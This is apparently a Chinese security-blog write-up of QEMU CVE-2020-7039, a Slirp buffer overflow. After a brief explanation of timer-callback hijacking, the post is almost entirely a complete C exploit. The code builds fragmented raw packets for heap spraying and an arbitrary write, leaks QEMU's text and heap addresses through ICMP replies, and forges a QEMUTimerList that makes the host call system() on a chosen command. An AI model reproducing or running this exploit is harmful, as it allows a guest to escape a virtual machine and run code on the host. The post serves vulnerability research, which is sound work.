static bool timer_expired_ns(QEMUTimer *timer_head, int64_t current_time){    return timer_head && (timer_head->expire_time <= current_time);}bool timerlist_run_timers(QEMUTimerList *timer_list){    ......    while ((ts = timer_list->active_timers)) {        if (!timer_expired_ns(ts, current_time)) {            break;        }        ......        /* remove timer from the list before calling the callback */        timer_list->active_timers = ts->next;        ts->next = NULL;        ts->expire_time = -1;        cb = ts->cb;        opaque = ts->opaque;        cb(opaque);        progress = true;    }    ......}
当expire_time为0的时候,即可触发调用,所以伪造QEMUTimer和QEMUTimerList结构体,并通过任意写令main_loop_tlg数组中的指针指向伪造的QEMUTimerList结构体,当程序流进入timerlist_run_timers时,则会判断expire_time == 0后对函数指针cb进行调用,又能控制参数。
【技术干货】QEMU-CVE-2020-7039

总结

1、当前的Exp应该还没有公开Exp,虽然难度不高,但是我只在自己一个复现环境中利用成功过,不保证其他环境也能利用成功。

2、Slirp模块中我复现的几个洞都是差不多的类型,基本上都是缓冲区溢出造成的问题,剩下的信息泄漏和程序流劫持都是模版。

完整Exploit

#include <stdio.h>#include <stdlib.h>#include <stdbool.h>#include <unistd.h>             // close()#include <assert.h>#include <string.h>             // strcpy, memset(), and memcpy()#include <netdb.h>              // struct addrinfo#include <sys/types.h>          // needed for socket(), uint8_t, uint16_t, uint32_t#include <sys/socket.h>         // needed for socket()#include <netinet/in.h>         // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN#include <netinet/ip.h>         // struct ip and IP_MAXPACKET (which is 65535)#include <netinet/ip_icmp.h>    // struct icmp, ICMP_ECHO#define __FAVOR_BSD              // Use BSD format of tcp header#include <netinet/tcp.h>         // struct tcphdr#include <arpa/inet.h>           // inet_pton() and inet_ntop()#include <sys/ioctl.h>           // macro ioctl is defined#include <bits/ioctls.h>         // defines values for argument "request" of ioctl.#include <net/if.h>              // struct ifreq#include <linux/if_ether.h>      // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD#include <linux/if_packet.h>     // struct sockaddr_ll (see man 7 packet)#include <net/ethernet.h>#include <sys/time.h>             // gettimeofday()#include <errno.h>                 // errno, perror()#define ETH_HDRLEN 14 // Ethernet header length#define IP4_HDRLEN 20 // IPv4 header length#define TCP_HDRLEN 20 // TCP header length, excludes options data#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes datauint16_t g_spray_ip_id;size_t heap_base,text_base;struct ip_packet_info {    uint16_t ip_id;        // IP序列号    uint16_t ip_off;    // 片偏移    bool MF;            // Flags    uint8_t ip_p;        // 协议包类型    uint32_t ip_src;    uint32_t ip_dst;};void errExit(char *string){    perror(string);    exit(EXIT_FAILURE);}uint16_t checksum(uint16_t *addr, int len) {    int count = len;    register uint32_t sum = 0;    uint16_t answer = 0;    while (count > 1) {        sum += *(addr++);        count -= 2;    }    if (count > 0) {        sum += *(uint8_t *)addr;    }    while (sum >> 16) {        sum = (sum & 0xffff) + (sum >> 16);    }    answer = ~sum;    return (answer);}uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) {    char buf[IP_MAXPACKET];    char *ptr;    int chksumlen = 0;    int i;    ptr = &buf[0]; // ptr points to beginning of buffer buf    // Copy Message Type to buf (8 bits)    memcpy(ptr, &icmphdr.icmp_type, sizeof(icmphdr.icmp_type));    ptr += sizeof(icmphdr.icmp_type);    chksumlen += sizeof(icmphdr.icmp_type);    // Copy Message Code to buf (8 bits)    memcpy(ptr, &icmphdr.icmp_code, sizeof(icmphdr.icmp_code));    ptr += sizeof(icmphdr.icmp_code);    chksumlen += sizeof(icmphdr.icmp_code);    // Copy ICMP checksum to buf (16 bits)    // Zero, since we don't know it yet    *ptr = 0;    ptr++;    *ptr = 0;    ptr++;    chksumlen += 2;    // Copy Identifier to buf (16 bits)    memcpy(ptr, &icmphdr.icmp_id, sizeof(icmphdr.icmp_id));    ptr += sizeof(icmphdr.icmp_id);    chksumlen += sizeof(icmphdr.icmp_id);    // Copy Sequence Number to buf (16 bits)    memcpy(ptr, &icmphdr.icmp_seq, sizeof(icmphdr.icmp_seq));    ptr += sizeof(icmphdr.icmp_seq);    chksumlen += sizeof(icmphdr.icmp_seq);    // Copy payload to buf    memcpy(ptr, payload, payloadlen);    ptr += payloadlen;    chksumlen += payloadlen;    // Pad to the next 16-bit boundary    for (i = 0; i < payloadlen % 2; i++, ptr++) {        *ptr = 0;        ptr++;        chksumlen++;    }    return checksum((uint16_t *)buf, chksumlen);}uint16_t tcp4_checksum(struct ip iphdr, struct tcphdr tcphdr, uint8_t *payload,                       int payloadlen) {    uint16_t svalue;    char buf[IP_MAXPACKET], cvalue;    char *ptr;    int i, chksumlen = 0;    ptr = &buf[0];    memcpy(ptr, &iphdr.ip_src.s_addr, sizeof(iphdr.ip_src.s_addr));    ptr += sizeof(iphdr.ip_src.s_addr);    chksumlen += sizeof(iphdr.ip_src.s_addr);    memcpy(ptr, &iphdr.ip_dst.s_addr, sizeof(iphdr.ip_dst.s_addr));    ptr += sizeof(iphdr.ip_dst.s_addr);    chksumlen += sizeof(iphdr.ip_dst.s_addr);    *ptr = 0;    ptr++;    chksumlen += 1;    memcpy(ptr, &iphdr.ip_p, sizeof(iphdr.ip_p));    ptr += sizeof(iphdr.ip_p);    chksumlen += sizeof(iphdr.ip_p);    svalue = htons(sizeof(tcphdr) + payloadlen);    memcpy(ptr, &svalue, sizeof(svalue));    ptr += sizeof(svalue);    chksumlen += sizeof(svalue);    memcpy(ptr, &tcphdr.th_sport, sizeof(tcphdr.th_sport));    ptr += sizeof(tcphdr.th_sport);    chksumlen += sizeof(tcphdr.th_sport);    memcpy(ptr, &tcphdr.th_dport, sizeof(tcphdr.th_dport));    ptr += sizeof(tcphdr.th_dport);    chksumlen += sizeof(tcphdr.th_dport);    memcpy(ptr, &tcphdr.th_seq, sizeof(tcphdr.th_seq));    ptr += sizeof(tcphdr.th_seq);    chksumlen += sizeof(tcphdr.th_seq);    memcpy(ptr, &tcphdr.th_ack, sizeof(tcphdr.th_ack));    ptr += sizeof(tcphdr.th_ack);    chksumlen += sizeof(tcphdr.th_ack);    cvalue = (tcphdr.th_off << 4) + tcphdr.th_x2;    memcpy(ptr, &cvalue, sizeof(cvalue));    ptr += sizeof(cvalue);    chksumlen += sizeof(cvalue);    memcpy(ptr, &tcphdr.th_flags, sizeof(tcphdr.th_flags));    ptr += sizeof(tcphdr.th_flags);    chksumlen += sizeof(tcphdr.th_flags);    memcpy(ptr, &tcphdr.th_win, sizeof(tcphdr.th_win));    ptr += sizeof(tcphdr.th_win);    chksumlen += sizeof(tcphdr.th_win);    *ptr = 0;    ptr++;    *ptr = 0;    ptr++;    chksumlen += 2;    memcpy(ptr, &tcphdr.th_urp, sizeof(tcphdr.th_urp));    ptr += sizeof(tcphdr.th_urp);    chksumlen += sizeof(tcphdr.th_urp);    memcpy(ptr, payload, payloadlen);    ptr += payloadlen;    chksumlen += payloadlen;    for (i = 0; i < payloadlen % 2; i++, ptr++) {        *ptr = 0;        ptr++;        chksumlen++;    }    return checksum((uint16_t *)buf, chksumlen);}void hexdump(const char *desc, void *addr, int len) {    int i;    unsigned char buff[17];    unsigned char *pc = (unsigned char *)addr;    // Output description if given.    if (desc != NULL)        printf("%s:n", desc);    if (len == 0) {        printf("  ZERO LENGTHn");        return;    }    if (len < 0) {        printf("  NEGATIVE LENGTH: %in", len);        return;    }    // Process every byte in the data.    for (i = 0; i < len; i++) {        // Multiple of 16 means new line (with line offset).        if ((i % 16) == 0) {            // Just don't print ASCII for the zeroth line.            if (i != 0)                printf("  %sn", buff);            // Output the offset.            printf("  %04x ", i);        }        // Now the hex code for the specific character.        printf(" %02x", pc[i]);        // And store a printable ASCII character for later.        if ((pc[i] < 0x20) || (pc[i] > 0x7e))            buff[i % 16] = '.';        else            buff[i % 16] = pc[i];        buff[(i % 16) + 1] = '';    }    // Pad out last line if not exactly 16 characters.    while ((i % 16) != 0) {        printf("   ");        i++;    }    // And print the final ASCII bit.    printf("  %sn", buff);}void sendPacket(struct ip_packet_info *info, uint8_t *data, uint32_t data_len) {    const int on = 1;    char *interface, *src_ip, *dst_ip;    unsigned char *packet;    struct ip ipHeader;    struct sockaddr_in sin;    struct ifreq ifr;    struct in_addr sock_addr;    packet        = (uint8_t*)calloc(1,IP_MAXPACKET);    interface    = (int8_t *)calloc(1,40);    src_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);    dst_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);    strcpy(interface, "enp0s3");    strcpy(src_ip, "127.0.0.1");    strcpy(dst_ip, "127.0.0.1");    // IPPROTO_RAW: 只能发送IP包    int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);    if (fd < 0) errExit("socket() failed to get socket descriptor for using ioctl()");    memset(&ifr, 0, sizeof(ifr));    snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);    // 查询网卡 interface index,用于后续socket 绑定网卡    if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) errExit("ioctl() failed to find interface.");    close(fd);    ipHeader.ip_hl    = IP4_HDRLEN / sizeof(uint32_t);   // IP_Header_LEN    ipHeader.ip_v     = 4;                                // Protocol Type: IPV4    ipHeader.ip_tos    = 0;                                // Type Of Service    ipHeader.ip_len    = htons(IP4_HDRLEN + data_len);     // Total Length    ipHeader.ip_id    = htons(info->ip_id);                // ID sequence number    // FLAGS: 长度为 3Bit    // 字段中第一位不使用    // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片    // 第三位是MF(More Fragments),MF = 0 指最后一个分片    // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.    ipHeader.ip_off    = htons((((uint16_t)info->MF << 13) | (info->ip_off >> 3)));    ipHeader.ip_ttl    = 0xFF;                             // Time-to-Live,默认最大值255    ipHeader.ip_p    = info->ip_p;                        // 传输协议包类型    // inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数"    if (( inet_pton(AF_INET, src_ip, &(ipHeader.ip_src)) |          inet_pton(AF_INET, dst_ip, &(ipHeader.ip_dst)) |          inet_pton(AF_INET, dst_ip, &sock_addr) )!= 1) errExit("inet_pton() failed.");    ipHeader.ip_sum    = checksum((uint16_t *)&ipHeader, IP4_HDRLEN); // Calculate IP_Header Checksum    // 构造IPV4 Packet 用于发送    memcpy(packet, &ipHeader, IP4_HDRLEN);    memcpy(packet + IP4_HDRLEN, data, data_len);    memset(&sin, 0, sizeof(struct sockaddr_in));    sin.sin_family = AF_INET;    sin.sin_addr.s_addr = sock_addr.s_addr;    // 创造一个socket 只用于发送IP包    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) errExit("socket() failed.");    // 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) errExit("setsockopt() failed to set IP_HDRINCL ");    // 绑定上述Socket 到网卡`ifr.ifr_name`接口    if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) errExit("setsockopt() failed to bind to interface ");    // 通过上述Socket向网卡中发送构造的IPV4的数据包    if (sendto(fd, packet, IP4_HDRLEN + data_len, 0,               (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) errExit("sendto() failed ");    close(fd);    free(packet);    free(interface);    free(src_ip);    free(dst_ip);    puts("====================== Send Packet Done! ======================");}int connect_with(char *ip,uint16_t port){    int fd = socket(AF_INET,SOCK_STREAM, 0);    if(fd < 0){        errExit("Socket");    }    struct sockaddr_in tcp_socket;    tcp_socket.sin_family = AF_INET;    tcp_socket.sin_port = htons(port);    tcp_socket.sin_addr.s_addr = inet_addr(ip);    if (connect(fd, (struct sockaddr *) &tcp_socket, sizeof(struct sockaddr_in)) != 0) errExit("connect");    return fd;}// heapSpray函数用于清空堆块列表void heapSpray(int size, uint16_t ip_id){    const int on = 1;    char *interface, *src_ip, *dst_ip;    unsigned char *packet;    char *payload;    int payload_len,i;    struct ip ipHeader;    struct tcphdr tcpHeader;    struct sockaddr_in sin;    struct ifreq ifr;    packet        = (uint8_t*)calloc(1,IP_MAXPACKET);    interface    = (int8_t *)calloc(1,40);    src_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);    dst_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);    payload     = (int8_t *)calloc(1,IP_MAXPACKET);    assert(size >= 0x54);    payload_len = size - 0x54;    strcpy(interface, "enp0s3");    strcpy(src_ip, "127.0.0.1");    strcpy(dst_ip, "127.0.0.1");    // IPPROTO_RAW: 只能发送IP包    int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);    if (fd < 0) errExit("socket() failed to get socket descriptor for using ioctl()");    memset(&ifr, 0, sizeof(ifr));    snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);    // 查询网卡 interface index,用于后续socket 绑定网卡    if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) errExit("ioctl() failed to find interface.");    close(fd);    ipHeader.ip_hl    = IP4_HDRLEN / sizeof(uint32_t);               // IP_Header_LEN    ipHeader.ip_v     = 4;                                            // Protocol Type: IPV4    ipHeader.ip_tos    = 0;                                            // Type Of Service    ipHeader.ip_len    = htons(IP4_HDRLEN + TCP_HDRLEN + payload_len); // Total Length    ipHeader.ip_id    = htons(ip_id);                                 // ID sequence number    // FLAGS: 长度为 3Bit    // 字段中第一位不使用    // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片    // 第三位是MF(More Fragments),MF = 0 指最后一个分片    // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.    ipHeader.ip_off    = htons((1 << 13));    ipHeader.ip_ttl    = 0xFF;                             // Time-to-Live,默认最大值255    ipHeader.ip_p    = IPPROTO_TCP;                      // 传输协议包类型    // inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数"    if (( inet_pton(AF_INET, src_ip, &(ipHeader.ip_src)) |          inet_pton(AF_INET, dst_ip, &(ipHeader.ip_dst)) )!= 1) errExit("inet_pton() failed.");    ipHeader.ip_sum    = checksum((uint16_t *)&ipHeader, IP4_HDRLEN); // Calculate IP_Header Checksum    /*****************************************************/    tcpHeader.th_sport = htons(60);                // Source port number    tcpHeader.th_dport = htons(80);                // Destination port number    tcpHeader.th_seq   = htonl(0);                // TCP Sequence number    tcpHeader.th_ack   = htonl(0);                // Acknowledgement number    tcpHeader.th_x2    = 0;                        // Reserved    tcpHeader.th_off   = TCP_HDRLEN / 4;    int tcp_flags[8];    // Flags (8 bits)    // FIN flag (1 bit)    tcp_flags[0] = 0;    // SYN flag (1 bit)    tcp_flags[1] = 0;    // RST flag (1 bit)    tcp_flags[2] = 0;    // PSH flag (1 bit)    tcp_flags[3] = 1;    // ACK flag (1 bit)    tcp_flags[4] = 1;    // URG flag (1 bit)    tcp_flags[5] = 0;    // ECE flag (1 bit)    tcp_flags[6] = 0;    // CWR flag (1 bit)    tcp_flags[7] = 0;    for (i = 0; i < 8; i++) {        tcpHeader.th_flags += (tcp_flags[i] << i);    }    tcpHeader.th_win = htons(0xFFFF);            // Window size    tcpHeader.th_urp = htons(0);                // Urgent pointer     // TCP checksum (16 bits)    tcpHeader.th_sum = tcp4_checksum(ipHeader, tcpHeader, (uint8_t *)payload, payload_len);    memcpy(packet, &ipHeader, IP4_HDRLEN);    memcpy(packet + IP4_HDRLEN, &tcpHeader, TCP_HDRLEN);    memcpy(packet + IP4_HDRLEN + TCP_HDRLEN, payload, payload_len);    memset(&sin, 0, sizeof(struct sockaddr_in));    sin.sin_family = AF_INET;    sin.sin_addr.s_addr = ipHeader.ip_dst.s_addr;    // 创造一个socket 只用于发送IP包    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) errExit("socket() failed.");    // 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) errExit("setsockopt() failed to set IP_HDRINCL ");    // 绑定上述Socket 到网卡`ifr.ifr_name`接口    if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) errExit("setsockopt() failed to bind to interface ");    // 通过上述Socket向网卡中发送构造的IPV4的数据包    if (sendto(fd, packet, IP4_HDRLEN + TCP_HDRLEN + payload_len, 0,               (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) errExit("sendto() failed ");    close(fd);    free(packet);    free(interface);    free(src_ip);    free(dst_ip);    free(payload);}void arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data,                    int write_data_len, int spray_times) {    struct ip_packet_info info;    int i;    assert(addr_len <= 8);    char *payload = calloc(1,0x2000);    memset(payload,'F',0x2000);    // 清空堆块    for (i = 0; i < spray_times; ++i) {        printf("Spraying Size = 0x2000, id: %dn", i);        heapSpray(0x2000, g_spray_ip_id + i);       }    uint16_t new_ip_id = g_spray_ip_id + spray_times;    uint16_t forAllocVuln0 = new_ip_id++;    info.ip_id = forAllocVuln0;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload,8);    uint16_t forAllocVuln1 = new_ip_id++;    info.ip_id = forAllocVuln1;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload,8);    // 防止堆块和top_chunk合并    uint16_t target = new_ip_id++;    info.ip_id = target;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    uint64_t fake_chunk[0x10];    i = 0;    fake_chunk[i++] = 0xA00;    fake_chunk[i++] = 0x20;    fake_chunk[i++] = 0xDEAD;    fake_chunk[i++] = 0xCAFE;    fake_chunk[i++] = 0x20;    fake_chunk[i++] = 0x2C1;    memcpy(payload + 0x2E0,(void*)fake_chunk,0x30);    sendPacket(&info,payload,0x310);    info.ip_id = new_ip_id++;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload,8);    info.ip_id = forAllocVuln1;    info.ip_off = 8;    info.MF = 0;    info.ip_p = 0xFF;    sendPacket(&info,payload,8); // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin    /************** Heap Layout Finished *****************/    int fd = connect_with("10.0.2.2",6667);    char s[0x30] = "DCC SEND TEST -1 -1 2333";    memset(payload,'F',0x1000);    memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s));    write(fd,payload,0x5AA);    memset(payload,'F',0x1000);    info.ip_id = forAllocVuln0;    info.ip_off = 8;    info.MF = 0;    info.ip_p = 0xFF;    sendPacket(&info,payload,8);    // padding    info.ip_id = new_ip_id++;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload,0x1020 - 0x670);    uint16_t vuln = new_ip_id++;    info.ip_id = vuln;    info.ip_off = 0;    info.ip_p = 0xFF;    i = 0;    uint64_t fake[0x20];    fake[i++] = 0;    fake[i++] = 0x675;                 // chunk size    fake[i++] = 0;                     // m_next    fake[i++] = 0;                    // m_prev    fake[i++] = 0;                     // m_nextpkt    fake[i++] = 0;                    // m_prevpkt    fake[i++] = ((size_t)0x608 << 32) | 0;    // m_size << 32 | m_flags    fake[i++] = 0;                    // m_so    fake[i++] = addr;                // m_data    memcpy(payload + 0x230,&fake,i*8);    if(addr_len < 8) {        info.MF = 1;        sendPacket(&info,payload,0x270);        info.ip_id = vuln;        info.ip_off = 0x270;        info.MF = 0;        info.ip_p = 0xFF;        sendPacket(&info,payload + 0x270,addr_len);    } else {        info.MF = 0;        sendPacket(&info,payload,0x278);    }    // padding    info.ip_id = new_ip_id++;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload, 0xC00);    info.ip_id = target;    info.ip_off = 0x310;    info.MF = 0;    info.ip_p = 0xFF;    sendPacket(&info,write_data,write_data_len);    close(fd);    free(payload);}void leak(uint64_t addr, int addr_len) {    struct ip_packet_info info;    int i,recvfd;    assert(addr_len <= 8);    char *payload = calloc(1,0x2000);    memset(payload,'F',0x2000);    // 清空堆块    for (i = 0; i < 0x20; ++i) {        printf("Spraying Size = 0x2000, id: %dn", i);        heapSpray(0x2000, g_spray_ip_id + i);       }    uint16_t new_ip_id = g_spray_ip_id + 0x20;    uint16_t forAllocVuln0 = new_ip_id++;    info.ip_id = forAllocVuln0;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload,8);    uint16_t forAllocVuln1 = new_ip_id++;    info.ip_id = forAllocVuln1;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload,8);    // 防止堆块和top_chunk合并    uint16_t target = new_ip_id++;    info.ip_id = target;    info.ip_off = 0;    info.MF = 1;    info.ip_p = IPPROTO_ICMP;    uint64_t fake_chunk[0x10];    i = 0;    fake_chunk[i++] = 0xA00;    fake_chunk[i++] = 0x20;    fake_chunk[i++] = 0xDEAD;    fake_chunk[i++] = 0xCAFE;    fake_chunk[i++] = 0x20;    fake_chunk[i++] = 0x2C1;    memcpy(payload + 0x2E0,(void*)fake_chunk,0x30);    sendPacket(&info,payload,0x310);    info.ip_id = new_ip_id++;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload,8);    info.ip_id = forAllocVuln1;    info.ip_off = 8;    info.MF = 0;    info.ip_p = 0xFF;    sendPacket(&info,payload,8); // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin    /************** Heap Layout Finished *****************/    int fd = connect_with("10.0.2.2",6667);    char s[0x30] = "DCC SEND TEST -1 -1 2333";    memset(payload,'F',0x1000);    memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s));    write(fd,payload,0x5AA);    memset(payload,'F',0x1000);    info.ip_id = forAllocVuln0;    info.ip_off = 8;    info.MF = 0;    info.ip_p = 0xFF;    sendPacket(&info,payload,8);    // padding    info.ip_id = new_ip_id++;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload,0x1020 - 0x670);    uint16_t vuln = new_ip_id++;    info.ip_id = vuln;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    i = 0;    uint64_t fake[0x20];    fake[i++] = 0;    fake[i++] = 0x675;                 // chunk size    fake[i++] = 0;                     // m_next    fake[i++] = 0;                    // m_prev    fake[i++] = 0;                     // m_nextpkt    fake[i++] = 0;                    // m_prevpkt    fake[i++] = ((size_t)0x608 << 32) | 0;    // m_size << 32 | m_flags    fake[i++] = 0;                    // m_so    fake[i++] = addr;                // m_data    memcpy(payload + 0x230,&fake,i*8);    sendPacket(&info,payload,0x270);    info.ip_id = vuln;    info.ip_off = 0x270;    info.MF = 0;    info.ip_p = 0xFF;    sendPacket(&info,payload + 0x270,addr_len);    // padding    info.ip_id = new_ip_id++;    info.ip_off = 0;    info.MF = 1;    info.ip_p = 0xFF;    sendPacket(&info,payload, 0xC00);    info.ip_id = target;    info.ip_off = 0x310;    info.MF = 0;    info.ip_p = IPPROTO_ICMP;    recvfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); // 需要放置在 结束ICMP请求之前    sendPacket(&info,payload,0);    /**************************/    int bytes, status;    struct ip *recv_iphdr;    struct icmp *recv_icmphdr;    uint8_t recv_ether_frame[IP_MAXPACKET];    struct sockaddr from;    socklen_t fromlen;    struct timeval wait;    wait.tv_sec = 2;    wait.tv_usec = 0;    setsockopt(recvfd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait, sizeof(struct timeval));    recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);    recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);    while (1) {        memset(recv_ether_frame, 0, IP_MAXPACKET);        memset(&from, 0, sizeof(from));        fromlen = sizeof(from);        if ((bytes = recvfrom(recvfd, recv_ether_frame, IP_MAXPACKET, 0, (struct sockaddr *)&from, &fromlen)) < 0) {            status = errno;            if (status == EAGAIN) { // EAGAIN = 11                errExit("No reply");            } else if (status == EINTR) { // EINTR = 4                continue;            } else {                errExit("recvfrom() failed ");            }        }        if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) &&              (recv_iphdr->ip_p == IPPROTO_ICMP) &&              (recv_icmphdr->icmp_type == ICMP_ECHOREPLY)) {            if (bytes < 0x200) continue;            hexdump("ping recv", recv_ether_frame, bytes);            text_base = ((*(uint64_t *)(recv_ether_frame + 0x60)) - 0x4584C2) & ~0xFFF;            heap_base = (*(uint64_t *)(recv_ether_frame + 0x48)) & ~0xFFFFFF;            printf("TEXT BASE: %#lXn"                   "HEAP BASE: %#lXn",                    text_base, heap_base);            break;        } // End if IP ethernet frame carrying ICMP_ECHOREPLY    }    close(fd);    close(recvfd);    free(payload);    puts("=================== Leak Finished! ====================");}const char eth_frame[0x10] = {    // Ethernet Frame Header Data    // DST MAC 52:54:00:12:34:56    0x52, 0x54, 0x00, 0x12, 0x34, 0x56,    // SRC MAC 52:54:00:12:34:56    0x52, 0x54, 0x00, 0x12, 0x34, 0x56,     // Length / Type: IPv4    0x08, 0x00};const char exec_cmd[] = "/usr/bin/gnome-calculator";int main(){    struct icmp *icmpHeader;    struct ip *ipHeader;    uint8_t eth_packet[IP_MAXPACKET];    char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];    int status;    memcpy(eth_packet, eth_frame, ETH_HDRLEN);    ipHeader = (struct ip *)(eth_packet + ETH_HDRLEN);    strcpy(src_ip, "10.0.2.15");    strcpy(dst_ip, "10.0.2.2");    ipHeader->ip_hl        = IP4_HDRLEN / sizeof(uint32_t);   // IP_Header_LEN    ipHeader->ip_v         = 4;                                // Protocol Type: IPV4    ipHeader->ip_tos    = 0;                                // Type Of Service    ipHeader->ip_len    = (ICMP_HDRLEN);                    // Total Length    ipHeader->ip_id        = 0xCDCD;                           // ID sequence number    // FLAGS: 长度为 3Bit    // 字段中第一位不使用    // 第二位是DF(Don't Fragment),指明当前的packet包是否是不可分片的    // 第三位是MF(More Fragments),指明当前的包是否是分片序列的最后一个,MF = 0则是最后一个包    // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.    ipHeader->ip_off    = 0;    ipHeader->ip_ttl    = 0xFF;                         // Time-to-Live,默认最大值255    ipHeader->ip_p        = IPPROTO_ICMP;                 // 传输协议包类型    if (( inet_pton(AF_INET, src_ip, &(ipHeader->ip_src)) |          inet_pton(AF_INET, dst_ip, &(ipHeader->ip_dst)) )!= 1) errExit("inet_pton() failed.");    ipHeader->ip_sum    = checksum((uint16_t *)&ipHeader, IP4_HDRLEN); // Calculate IP_Header Checksum    icmpHeader = (struct icmp *)(eth_packet + ETH_HDRLEN + IP4_HDRLEN);    icmpHeader->icmp_type     = ICMP_ECHO;    icmpHeader->icmp_code     = 0;            // Message Code    icmpHeader->icmp_id     = htons(1000);  // Identifier    icmpHeader->icmp_seq     = htons(0);     // Sequence Number    icmpHeader->icmp_cksum     = icmp4_checksum(*icmpHeader, eth_packet, 0);   // ICMP Checksum    // 向 0x*000B00处写入 ETH Packet    memcpy(eth_packet + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN, exec_cmd,           strlen(exec_cmd) + 1);    g_spray_ip_id = 0xAABB;    arbitrary_write(        0x000B00 - 0x310, 3, eth_packet,        ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN + strlen(exec_cmd) + 1, 0x100); // 将伪造的ICMP包和参数写入到某处确定地址    g_spray_ip_id = 0xBBCC;    leak(0x000B00 + IP4_HDRLEN + ETH_HDRLEN,3);    /********************** Leak Finished *****************************/    size_t *fake_timer_list = (uint64_t *)calloc(1,0x200);    size_t fake_timer_list_ptr = heap_base + 0x1000;    fake_timer_list[0]  = text_base + 0xE40D40;         // qemu_clocks    fake_timer_list[7]     = 0x0000000100000000;    fake_timer_list[8]     = fake_timer_list_ptr + 0x70;   // active_timers -> fake_QEMUTimer    fake_timer_list[9]     = 0;    fake_timer_list[10] = 0;    fake_timer_list[11] = text_base + 0x2E5C41;         // qemu_timer_notify_cb    fake_timer_list[12] = 0;    fake_timer_list[13] = 0x0000000100000000;    // following is fake_QEMUTimer    fake_timer_list[14] = 0;                             // expire_time set to 0 will trigger func cb    fake_timer_list[15] = fake_timer_list_ptr;    fake_timer_list[16] = text_base + 0x28E280;            // system    fake_timer_list[17] = heap_base + 0xB00 + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN;  // cmd的地址    fake_timer_list[18] = 0;    fake_timer_list[19] = 0x000F424000000000;    g_spray_ip_id = 0xCCDD;    arbitrary_write(fake_timer_list_ptr - 0x310, 8, (void*)fake_timer_list, 0xA0, 0x30);    size_t TMP = fake_timer_list_ptr;    g_spray_ip_id = 0xDDBB;    size_t main_loop_tlg = text_base + 0xE40D20;    arbitrary_write(main_loop_tlg - 0x310, 8, (void*)&TMP, 8, 0x30);}

往期 · 推荐

【技术干货】QEMU-CVE-2020-7039
【技术干货】QEMU-CVE-2020-7039
【技术干货】QEMU-CVE-2020-7039

【技术干货】QEMU-CVE-2020-7039

【技术干货】QEMU-CVE-2020-7039

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日14:02:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
